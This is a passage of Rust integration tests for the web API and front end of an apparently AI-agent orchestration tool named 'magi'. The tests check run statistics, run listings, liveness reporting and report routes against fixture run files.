11067 std::fs::write(
11068 dir.join("run.json"),
11069 serde_json::to_string_pretty(&state).expect("serialize run"),
11070 )
11071 .expect("write run.json");
11072
11073 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11074 let alpha = advisors
11075 .as_array()
11076 .expect("an array")
11077 .iter()
11078 .find(|a| a["agent"] == "alpha")
11079 .expect("alpha row");
11080 assert_eq!(alpha["seated"], 2);
11081 assert_eq!(alpha["proposed"], 1);
11082 assert_eq!(alpha["absent"], 1);
11083 assert_eq!(alpha["strong"], 1);
11084 assert_eq!(alpha["faint"], 0);
11085 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11086 }
11087
11088 #[tokio::test]
11089 async fn stats_release_bumps_split_clean_from_attention() {
11090 use crate::run::ReleaseBump;
11091
11092 let f = Fixture::start().await;
11093
11094 let mut clean = RunState::new(
11095 PathBuf::from("/repo/magi"),
11096 "main".to_owned(),
11097 "0123456789abcdef".to_owned(),
11098 "task".to_owned(),
11099 Config::default(),
11100 );
11101 clean.id = "20260902-140501-a".to_owned();
11102 clean.status = RunStatus::Merged;
11103 clean.release_bump = Some(ReleaseBump {
11104 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11105 version: Some("1.0.0".to_owned()),
11106 automerge_enabled: true,
11107 merged_directly: false,
11108 local: false,
11109 release: None,
11110 problem: None,
11111 action_required: None,
11112 });
11113
11114 let mut blocked = RunState::new(
11115 PathBuf::from("/repo/magi"),
11116 "main".to_owned(),
11117 "0123456789abcdef".to_owned(),
11118 "task".to_owned(),
11119 Config::default(),
11120 );
11121 blocked.id = "20260902-140502-b".to_owned();
11122 blocked.status = RunStatus::Merged;
11123 blocked.release_bump = Some(ReleaseBump {
11124 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11125 version: Some("1.0.1".to_owned()),
11126 automerge_enabled: false,
11127 merged_directly: false,
11128 local: false,
11129 release: None,
11130 problem: Some("checks red".to_owned()),
11131 action_required: Some("look at the PR".to_owned()),
11132 });
11133
11134 for state in [&clean, &blocked] {
11135 let dir = f.runs().join(&state.id);
11136 std::fs::create_dir_all(&dir).expect("run dir");
11137 std::fs::write(
11138 dir.join("run.json"),
11139 serde_json::to_string_pretty(state).expect("serialize run"),
11140 )
11141 .expect("write run.json");
11142 }
11143
11144 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11145 assert_eq!(bumps["merged"], 2);
11146 assert_eq!(bumps["recorded"], 2);
11147 assert_eq!(bumps["pr_opened"], 2);
11148 assert_eq!(bumps["automerge_enabled"], 1);
11149 assert_eq!(bumps["needs_attention"], 1);
11150 assert_eq!(bumps["clean"], 1);
11151 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11152 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11153 }
11154
11155 #[tokio::test]
11156 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11157 let f = Fixture::start().await;
11158 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11159
11160 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11161 assert_eq!(bumps["merged"], 1);
11162 assert_eq!(bumps["recorded"], 0);
11163 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11166 assert_eq!(bumps["automerge_rate"], Value::Null);
11169 assert_eq!(bumps["attention_rate"], Value::Null);
11170 }
11171
11172 #[tokio::test]
11173 async fn stats_queue_counts_come_from_the_live_queue() {
11174 let f = Fixture::start().await;
11175 let q = f.queue();
11176 let mut queued = Task::new(
11177 "queued task".to_owned(),
11178 "do it".to_owned(),
11179 PathBuf::from("/repo"),
11180 Source::Human,
11181 );
11182 q.put(&mut queued).expect("put queued");
11183 let mut held = Task::new(
11184 "held task".to_owned(),
11185 "do it later".to_owned(),
11186 PathBuf::from("/repo"),
11187 Source::Human,
11188 );
11189 held.hold_machine(Some("out of attempts".to_owned()));
11190 q.put(&mut held).expect("put held");
11191
11192 let queue = f.get("/api/stats").await.json()["queue"].clone();
11193 assert_eq!(queue["queued"], 1);
11194 assert_eq!(queue["held"], 1);
11195 assert_eq!(queue["running"], 0);
11196 assert_eq!(queue["done"], 0);
11197 assert_eq!(queue["failed"], 0);
11198 assert_eq!(queue["blocked"], 0);
11199 }
11200
11201 #[tokio::test]
11202 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11203 let f = Fixture::start().await;
11204 let stats = f.get("/api/stats").await;
11205 assert_eq!(stats.status, 200);
11206 assert_eq!(stats.json()["totals"]["runs"], 0);
11207 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11208 assert_eq!(stats.json()["runs_unreadable"], 0);
11209 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11210 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11211 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11212 assert_eq!(stats.json()["repo"], Value::Null);
11213 }
11214
11215 #[tokio::test]
11216 async fn stats_lists_every_repository_with_runs_recorded() {
11217 let f = Fixture::start().await;
11218 write_run_repo(
11219 &f.runs(),
11220 "20260902-140501-a",
11221 RunStatus::Merged,
11222 "/repos/a",
11223 );
11224 write_run_repo(
11225 &f.runs(),
11226 "20260902-140502-b",
11227 RunStatus::Merged,
11228 "/repos/a",
11229 );
11230 write_run_repo(
11231 &f.runs(),
11232 "20260902-140503-c",
11233 RunStatus::Blocked,
11234 "/repos/b",
11235 );
11236
11237 let stats = f.get("/api/stats").await;
11238 assert_eq!(stats.status, 200);
11239 assert_eq!(stats.json()["totals"]["runs"], 3);
11241 assert_eq!(stats.json()["repo"], Value::Null);
11242
11243 let repos = stats.json()["repos"].clone();
11244 let repos = repos.as_array().unwrap();
11245 assert_eq!(repos.len(), 2);
11246 assert_eq!(repos[0]["repo"], "/repos/a");
11248 assert_eq!(repos[0]["name"], "a");
11249 assert_eq!(repos[0]["runs"], 2);
11250 assert_eq!(repos[1]["repo"], "/repos/b");
11251 assert_eq!(repos[1]["runs"], 1);
11252 }
11253
11254 #[tokio::test]
11255 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11256 let f = Fixture::start().await;
11257 write_run_repo(
11258 &f.runs(),
11259 "20260902-140501-a",
11260 RunStatus::Merged,
11261 "/repos/a",
11262 );
11263 write_run_repo(
11264 &f.runs(),
11265 "20260902-140502-b",
11266 RunStatus::Blocked,
11267 "/repos/b",
11268 );
11269
11270 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11271 assert_eq!(stats.status, 200);
11272 assert_eq!(stats.json()["totals"]["runs"], 1);
11273 assert_eq!(stats.json()["totals"]["merged"], 1);
11274 assert_eq!(stats.json()["repo"], "/repos/a");
11275 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11278 assert_eq!(stats.json()["runs_unreadable"], 0);
11281 }
11282
11283 #[tokio::test]
11284 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11285 let f = Fixture::start().await;
11286 write_run_repo(
11287 &f.runs(),
11288 "20260902-140501-a",
11289 RunStatus::Merged,
11290 "/repos/a",
11291 );
11292 write_run_repo(
11293 &f.runs(),
11294 "20260902-140502-b",
11295 RunStatus::Merged,
11296 "/repos/b",
11297 );
11298
11299 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11300 let json = f.get(uri).await.json();
11301 let daily = json["daily"].as_array().expect("daily is an array");
11302 assert_eq!(daily.len(), 30);
11303 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11304 let mut sorted = dates.clone();
11305 sorted.sort();
11306 assert_eq!(dates, sorted);
11307 for d in daily {
11308 assert_eq!(
11309 d["merged"].as_u64().unwrap()
11310 + d["ready"].as_u64().unwrap()
11311 + d["other"].as_u64().unwrap(),
11312 d["runs"].as_u64().unwrap()
11313 );
11314 }
11315 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11316 }
11317 }
11318
11319 #[tokio::test]
11320 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11321 let f = Fixture::start().await;
11322 write_run_repo(
11323 &f.runs(),
11324 "20260902-140501-a",
11325 RunStatus::Merged,
11326 "/repos/a",
11327 );
11328
11329 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11330 assert_eq!(stats.status, 404);
11331 }
11332
11333 #[tokio::test]
11334 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11335 let f = Fixture::start().await;
11336 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11337
11338 let summary = f.get("/api/runs").await.json();
11339 let row = &summary[0];
11340 assert_eq!(row["short"], "a1b2");
11341 assert_eq!(row["status"], "ready");
11342 assert_eq!(row["done"], true);
11343 assert_eq!(row["title"], "Add a web UI");
11344 assert_eq!(row["repo_name"], "magi");
11345 assert_eq!(row["judges"], 3);
11346 assert_eq!(row["winner"], Value::Null);
11347 assert_eq!(row["reviews"], 0);
11348
11349 let detail = f.get("/api/runs/a1b2").await;
11352 assert_eq!(detail.status, 200);
11353 assert_eq!(detail.json()["base_branch"], "main");
11354 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11355 }
11356
11357 #[tokio::test]
11365 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11366 let f = Fixture::start().await;
11367
11368 let mut none_run = RunState::new(
11369 PathBuf::from("/repo/magi"),
11370 "main".to_owned(),
11371 "0123456789abcdef".to_owned(),
11372 "Add a web UI".to_owned(),
11373 Config::default(),
11374 );
11375 none_run.id = "20260902-140503-none".to_owned();
11376 none_run.status = RunStatus::Ready;
11377 none_run.merge = Some(crate::run::MergeOutcome {
11378 mode: crate::config::MergeMode::None,
11379 ok: true,
11380 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11381 empty: false,
11382 });
11383 write_state(&f.runs(), &none_run);
11384
11385 let mut pr_run = RunState::new(
11386 PathBuf::from("/repo/magi"),
11387 "main".to_owned(),
11388 "0123456789abcdef".to_owned(),
11389 "Add a web UI".to_owned(),
11390 Config::default(),
11391 );
11392 pr_run.id = "20260902-140504-prcl".to_owned();
11393 pr_run.status = RunStatus::Ready;
11394 pr_run.merge = Some(crate::run::MergeOutcome {
11395 mode: crate::config::MergeMode::Pr,
11396 ok: false,
11397 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11398 empty: false,
11399 });
11400 write_state(&f.runs(), &pr_run);
11401
11402 let summary = f.get("/api/runs").await.json();
11403 let rows: std::collections::HashMap<&str, &Value> = summary
11404 .as_array()
11405 .expect("an array")
11406 .iter()
11407 .map(|r| (r["id"].as_str().expect("an id"), r))
11408 .collect();
11409 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11410 assert_eq!(
11411 rows[none_run.id.as_str()]["unmerged_by_design"],
11412 true,
11413 "a mode-none Ready must be flagged in the list"
11414 );
11415 assert_eq!(
11416 rows[pr_run.id.as_str()]["unmerged_by_design"],
11417 false,
11418 "a Ready reached by a closed pull request is a different case"
11419 );
11420
11421 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11422 assert_eq!(none_detail["status"], "ready");
11423 assert_eq!(none_detail["unmerged_by_design"], true);
11424
11425 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11426 assert_eq!(pr_detail["unmerged_by_design"], false);
11427 }
11428
11429 #[tokio::test]
11434 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11435 let f = Fixture::start().await;
11436 let id = "20260902-140502-bbbb";
11440 let mut state = RunState::new(
11441 PathBuf::from("/repo/magi"),
11442 "main".to_owned(),
11443 "0123456789abcdef".to_owned(),
11444 "Add a web UI".to_owned(),
11445 Config::default(),
11446 );
11447 state.id = id.to_owned();
11448 state.status = RunStatus::Judging;
11449 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11450 let dir = f.runs().join(id);
11451 std::fs::create_dir_all(&dir).expect("run dir");
11452 std::fs::write(
11453 dir.join("run.json"),
11454 serde_json::to_string_pretty(&state).expect("serialize run"),
11455 )
11456 .expect("write run.json");
11457
11458 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11464 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11465 assert_eq!(cold["live"], "unknown", "{cold}");
11466
11467 write_daemon(f.home.path(), Timestamp::now());
11470 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11471 assert_eq!(warm["live"], "live", "{warm}");
11472 }
11473
11474 #[tokio::test]
11477 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11478 let f = Fixture::start().await;
11479 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11480 let mut state = RunState::new(
11481 PathBuf::from("/repo/magi"),
11482 "main".to_owned(),
11483 "0123456789abcdef".to_owned(),
11484 "Add a web UI".to_owned(),
11485 Config::default(),
11486 );
11487 state.id = id.to_owned();
11488 state.origin = origin;
11489 let mut value = serde_json::to_value(&state).expect("serialize run");
11490 if let Some(schema) = schema {
11491 value["schema"] = serde_json::json!(schema);
11492 value.as_object_mut().unwrap().remove("origin");
11493 }
11494 let dir = f.runs().join(id);
11495 std::fs::create_dir_all(&dir).expect("run dir");
11496 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11497 };
11498 write(
11499 "20260930-092817-ec34",
11500 Some(crate::run::Origin::from_agent_env(
11501 Some(("4a7b".to_owned(), "chat".to_owned())),
11502 None,
11503 )),
11504 None,
11505 );
11506 write("20260930-092817-0ld1", None, Some(12));
11507
11508 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11509 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11510 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11511
11512 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11513 assert_eq!(
11514 old["origin_label"], "origin unknown (started before origins were recorded)",
11515 "{old}"
11516 );
11517 assert!(old["origin"].is_null(), "{old}");
11518
11519 let list = f.get("/api/runs").await.json();
11520 let labels: Vec<_> = list
11521 .as_array()
11522 .unwrap()
11523 .iter()
11524 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11525 .collect();
11526 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11527 }
11528
11529 #[tokio::test]
11536 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11537 let f = Fixture::start().await;
11538 let id = "20260922-090000-cccc";
11539 let mut state = RunState::new(
11540 PathBuf::from("/repo/magi"),
11541 "main".to_owned(),
11542 "0123456789abcdef".to_owned(),
11543 "Review only".to_owned(),
11544 Config::default(),
11545 );
11546 state.id = id.to_owned();
11547 state.status = RunStatus::Reviewing;
11548 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11549 state.driver_pid = Some(std::process::id());
11555 state.driver_started_at = Some(
11556 crate::proc::process_started_at(std::process::id())
11557 .expect("this test process's own start time must be queryable"),
11558 );
11559 let dir = f.runs().join(id);
11560 std::fs::create_dir_all(&dir).expect("run dir");
11561 std::fs::write(
11562 dir.join("run.json"),
11563 serde_json::to_string_pretty(&state).expect("serialize run"),
11564 )
11565 .expect("write run.json");
11566
11567 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11568 assert_eq!(detail["live"], "live", "{detail}");
11569 }
11570
11571 #[tokio::test]
11577 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11578 let f = Fixture::start().await;
11579 let id = "20260922-090100-dddd";
11580 let mut state = RunState::new(
11581 PathBuf::from("/repo/magi"),
11582 "main".to_owned(),
11583 "0123456789abcdef".to_owned(),
11584 "Review only".to_owned(),
11585 Config::default(),
11586 );
11587 state.id = id.to_owned();
11588 state.status = RunStatus::Reviewing;
11589 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11590 state.driver_pid = Some(std::process::id());
11595 state.driver_started_at = Some("1".to_owned());
11596 let dir = f.runs().join(id);
11597 std::fs::create_dir_all(&dir).expect("run dir");
11598 std::fs::write(
11599 dir.join("run.json"),
11600 serde_json::to_string_pretty(&state).expect("serialize run"),
11601 )
11602 .expect("write run.json");
11603
11604 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11605 assert_eq!(detail["live"], "dead", "{detail}");
11606 }
11607
11608 #[test]
11612 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11613 let mk = |id: &str, pid: Option<u32>| {
11614 let mut s = RunState::new(
11615 PathBuf::from("/repo/magi"),
11616 "main".to_owned(),
11617 "0123456789abcdef".to_owned(),
11618 "Add a web UI".to_owned(),
11619 Config::default(),
11620 );
11621 s.id = id.to_owned();
11622 s.driver_pid = pid;
11623 s.driver_started_at = Some("1790000000".to_owned());
11624 s
11625 };
11626 let states = vec![
11627 mk("20260902-140502-aaaa", Some(77)),
11628 mk("20260902-140502-bbbb", Some(77)),
11629 mk("20260902-140502-cccc", Some(77)),
11630 mk("20260902-140502-dddd", None),
11631 ];
11632 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11633 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11634 let sup: HashMap<String, String> = [(
11635 "20260902-140502-aaaa".to_owned(),
11636 "20260902-140502-cccc".to_owned(),
11637 )]
11638 .into();
11639
11640 let status_calls = std::cell::Cell::new(0);
11641 let identity_calls = std::cell::Cell::new(0);
11642 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11643 |_| {
11644 status_calls.set(status_calls.get() + 1);
11645 Some(true)
11646 },
11647 |_| {
11648 identity_calls.set(identity_calls.get() + 1);
11649 Some("1790000000".to_owned())
11650 },
11651 ));
11652 let rows = summarize(
11653 states,
11654 &open,
11655 &claimed,
11656 &sup,
11657 |p| probe.borrow_mut().status(p),
11658 |p| probe.borrow_mut().started_at(p),
11659 );
11660
11661 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11662 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11663 assert_eq!(rows.len(), 4);
11664 assert!(!rows[0].waiting && rows[1].waiting);
11665 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11666 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11667 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11668 assert_eq!(rows[1].superseded_by, None);
11669 }
11670
11671 #[test]
11672 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11673 let mut state = RunState::new(
11674 PathBuf::from("/repo/magi"),
11675 "main".to_owned(),
11676 "0123456789abcdef".to_owned(),
11677 "Review only".to_owned(),
11678 Config::default(),
11679 );
11680 state.id = "20260922-090200-dead".to_owned();
11681 state.status = RunStatus::Reviewing;
11682 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11683 .expect("serialize list row");
11684 assert_eq!(row["status"], "reviewing");
11685 assert_eq!(row["live"], "dead", "{row}");
11686 assert!(!row["done"].as_bool().unwrap());
11687 }
11688
11689 #[tokio::test]
11690 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11691 let f = Fixture::start().await;
11692 for id in [
11693 "20260902-140501-aaaa",
11694 "20260902-140502-bbbb",
11695 "20260902-140503-cccc",
11696 ] {
11697 write_run(&f.runs(), id, RunStatus::Merged);
11698 }
11699
11700 let all = f.get("/api/runs").await.json();
11701 let capped = f.get("/api/runs?limit=2").await.json();
11702
11703 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11704 assert_eq!(all.as_array().map(Vec::len), Some(3));
11705 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11706 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11707 }
11708
11709 #[tokio::test]
11710 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11711 let f = Fixture::start().await;
11712 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11713
11714 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11715
11716 assert_eq!(res.status, 200);
11717 assert!(
11718 res.headers
11719 .contains("content-type: text/plain; charset=utf-8"),
11720 "a browser must render it, not download it: {}",
11721 res.headers
11722 );
11723 assert!(
11727 res.body.contains("20260902-140501-a1b2"),
11728 "the report is about the run that was asked for: {}",
11729 res.body
11730 );
11731 }
11732
11733 #[tokio::test]
11734 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11735 crate::run::pin_test_home();
11737 let f = Fixture::start().await;
11738 let id = "20260902-140501-a1b2";
11739 write_run(&f.runs(), id, RunStatus::Stalled);
11740 let path = f.runs().join(id).join("run.json");
11743 let mut v: serde_json::Value =
11744 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11745 v["tally"] = serde_json::json!({
11746 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11747 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11748 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11749 "met_quorum": false, "rankings": 1
11750 });
11751 v["reviews"] = serde_json::json!([{
11752 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11753 "e2e_deferred": true,
11754 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11755 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11756 ]}]
11757 }]);
11758 std::fs::write(&path, v.to_string()).unwrap();
11759 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11760 std::fs::write(
11761 f.runs().join("20260902-140502-dead").join("run.json"),
11762 "{not json",
11763 )
11764 .unwrap();
11765
11766 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11767
11768 assert_eq!(res.status, 200, "{}", res.body);
11769 assert!(res.headers.contains("content-type: application/json"));
11770 let j = res.json();
11771 assert_eq!(j["schema"], 1);
11772 assert_eq!(j["header"]["id"], id);
11773 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11774 let kinds: Vec<&str> = j["sections"]
11775 .as_array()
11776 .unwrap()
11777 .iter()
11778 .map(|s| s["kind"].as_str().unwrap())
11779 .collect();
11780 assert_eq!(kinds, ["candidates", "tally", "review"]);
11781 let tally = &j["sections"][1]["tally"];
11782 assert_eq!(
11783 (tally["decided"].clone(), tally["provisional"].clone()),
11784 (false.into(), true.into())
11785 );
11786 let round = &j["sections"][2]["rounds"][0];
11787 assert_eq!(round["e2e"]["state"], "deferred");
11788 assert_eq!(round["findings"][0]["severity"], "major");
11789 assert_eq!(round["findings"][0]["blocking"], true);
11790 assert_eq!(round["findings"][0]["state"], "open");
11791
11792 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11794
11795 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11797 assert_ne!(bad.status, 200, "{}", bad.body);
11798 assert_eq!(
11799 bad.status,
11800 f.get("/api/runs/20260902-140502-dead/report").await.status
11801 );
11802 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11803 assert_eq!(
11804 f.get("/api/runs/20260902-999999-ffff/report.json")
11805 .await
11806 .status,
11807 404
11808 );
11809 }
11810
11811 #[tokio::test]
11812 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11813 let f = Fixture::start().await;
11814
11815 let html = f.get("/").await;
11816 let css = f.get("/app.css").await;
11817 let js = f.get("/app.js").await;
11818
11819 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11820 assert!(
11821 html.headers
11822 .contains("content-type: text/html; charset=utf-8")
11823 );
11824 assert!(css.headers.contains("content-type: text/css"));
11825 assert!(js.headers.contains("content-type: text/javascript"));
11826 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11827 }
11828
11829 #[test]
11830 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11831 let body = |name: &str| {
11832 let at = APP_JS
11833 .find(name)
11834 .unwrap_or_else(|| panic!("{name} missing"));
11835 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11836 };
11837 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11838 let note = body("function landRoundNote");
11839 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11840 assert!(note.contains("Land round ${round}"));
11841 let land = body("function renderLand");
11842 let note_at = land
11843 .find("landRoundNote(pr)")
11844 .expect("renderLand uses the note");
11845 assert!(
11846 note_at
11847 < land
11848 .find("roundRail(pr)")
11849 .expect("renderLand uses the rail")
11850 );
11851 }
11852
11853 #[test]
11854 fn the_runs_page_redesign_keeps_its_guards() {
11855 let body = |name: &str| {
11856 let at = APP_JS
11857 .find(name)
11858 .unwrap_or_else(|| panic!("{name} missing"));
11859 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11860 };
11861 let land = body("function renderLand");
11863 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11864 assert!(
11865 !land.contains("box.append("),
11866 "renderLand must use append()"
11867 );
11868 assert!(land.contains("append(box, ["));
11869 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11871 assert!(
11872 body("function applyRoute")
11873 .contains("route.name !== state.route.name || route.id !== state.route.id")
11874 );
11875 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11877 assert!(!INDEX_HTML.contains("advise-converge"));
11878 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11879 assert!(APP_JS.contains("provisional"));
11880 for id in [
11881 "run-tab-overview",
11882 "run-tab-timeline",
11883 "run-tab-report",
11884 "run-report",
11885 "runs-scope",
11886 ] {
11887 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11888 }
11889 assert!(!INDEX_HTML.contains("runs-tree"));
11890 assert!(!INDEX_HTML.contains("run-raw-panel"));
11891 assert!(APP_JS.contains("resume"));
11893 assert!(APP_JS.contains("unreadable"));
11895 }
11896
11897 #[test]
11898 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11899 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11900 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11901 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11902 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11903 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11904 assert!(APP_JS.contains("unreadable` : null"));
11906 }
11907
11908 #[test]
11909 fn the_run_detail_payload_says_whether_the_run_is_done() {
11910 for (status, done) in [
11912 (RunStatus::Superseded, true),
11913 (RunStatus::Blocked, true),
11914 (RunStatus::Landing, false),
11915 ] {
11916 let mut state = RunState::new(
11917 std::path::PathBuf::from("/repo"),
11918 "main".to_owned(),
11919 "abc".to_owned(),
11920 "x".to_owned(),
11921 crate::config::Config::default(),
11922 );
11923 state.status = status;
11924 let v = serde_json::to_value(RunDetailView::of(
11925 state,
11926 crate::run::Liveness::Unknown,
11927 None,
11928 None,
11929 None,
11930 ))
11931 .unwrap();
11932 assert_eq!(v["done"], done, "{status:?}");
11933 }
11934 }
11935
11936 fn has_strong(nodes: &[md::Node]) -> bool {
11938 serde_json::to_string(nodes).unwrap().contains("strong")
11939 }
11940
11941 #[test]
11942 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11943 let mut state = RunState::new(
11944 std::path::PathBuf::from("/repo"),
11945 "main".to_owned(),
11946 "abc".to_owned(),
11947 "x".to_owned(),
11948 crate::config::Config::default(),
11949 );
11950 let proposal = |approach: &str| {
11951 serde_json::json!({
11952 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11953 })
11954 };
11955 state.advice = Some(
11956 serde_json::from_value(serde_json::json!({
11957 "records": [
11958 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11959 "proposal": proposal("do **this**")},
11960 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11961 ],
11962 "synthesis": "- one\n- **two**\n\n`code`",
11963 }))
11964 .unwrap(),
11965 );
11966 state.candidates = serde_json::from_value(serde_json::json!([
11967 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11968 "summary": "did **it**"},
11969 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11970 ]))
11971 .unwrap();
11972 state.reviews = serde_json::from_value(serde_json::json!([{
11975 "round": 1, "head": "h",
11976 "reviews": [{
11977 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11978 "findings": [
11979 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11980 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11981 ],
11982 }],
11983 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11984 "fix": {"agent": "a", "notes": "fixed **it**",
11985 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11986 }, {"round": 2, "head": "h2", "reviews": []}]))
11987 .unwrap();
11988
11989 let v = serde_json::to_value(RunDetailView::of(
11990 state,
11991 crate::run::Liveness::Unknown,
11992 None,
11993 None,
11994 None,
11995 ))
11996 .unwrap();
11997
11998 let strong = |p: &str| {
11999 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12000 assert!(n.to_string().contains("strong"), "{p}: {n}");
12001 };
12002 strong("/advice_md/synthesis");
12003 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12004 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12005 strong("/advice_md/approaches/0");
12006 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12007 strong("/candidate_summaries_md/0");
12008 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12009 strong("/reviews_md/0/reviewers/0/summary");
12010 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12011 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12012 assert!(f[1].to_string().contains("strong"));
